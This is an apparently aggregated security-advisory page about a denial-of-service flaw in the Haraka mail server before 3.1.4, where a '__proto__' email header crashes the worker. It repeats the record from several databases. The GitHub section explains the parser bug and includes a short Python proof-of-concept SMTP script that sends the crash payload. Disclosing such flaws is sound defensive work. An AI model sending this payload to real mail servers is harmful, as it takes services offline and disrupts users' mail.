Haraka affected by DoS via `__proto__` email header

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.

Source published

2 Apr 2026 18:42:38 UTC

Source modified

3 Apr 2026 15:47:34 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.

Source published

Apr 2, 2026, 6:42:38 PM (timezone not stated)

Source modified

Apr 3, 2026, 3:47:34 PM (timezone not stated)

Observed here

11 Nov 2026 09:29:04 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.

Source published

2 Apr 2026 19:21:33 UTC

Source modified

6 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 08:17:35 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary Sending an email with `__proto__:` as a header name crashes the Haraka worker process. ### Details The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object: ```javascript _add_header(key, value, method) { this.headers[key] ??= [] // line 216 this.headers[key][method](value) // line 217 } ``` When `key` is `__proto__`: 1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter) 2. `Object.prototype` is not null/undefined, so `??=` is skipped 3. `Object.prototype.push(value)` throws `TypeError: not a function` The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`: ```js process.on('uncaughtException', (err) => { if (err.stack) { err.stack.split('\n').forEach((line) => logger.crit(line)) } else { logger.crit(`Caught exception: ${JSON.stringify(err)}`) } logger.dump_and_exit(1) }) ``` ### PoC ```python import socket, time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect(("127.0.0.1", 2525)) sock.recv(4096) sock.sendall(b"EHLO evil\r\n"); sock.recv(4096) sock.sendall(b"MAIL FROM:<[email protected]>\r\n"); sock.recv(4096) sock.sendall(b"RCPT TO:<[email protected]>\r\n"); sock.recv(4096) sock.sendall(b"DATA\r\n"); sock.recv(4096) # Crash payload sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n") ``` ### Impact In single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.

Source published

1 Apr 2026 22:56:09 UTC

Source modified

6 Apr 2026 17:56:38 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH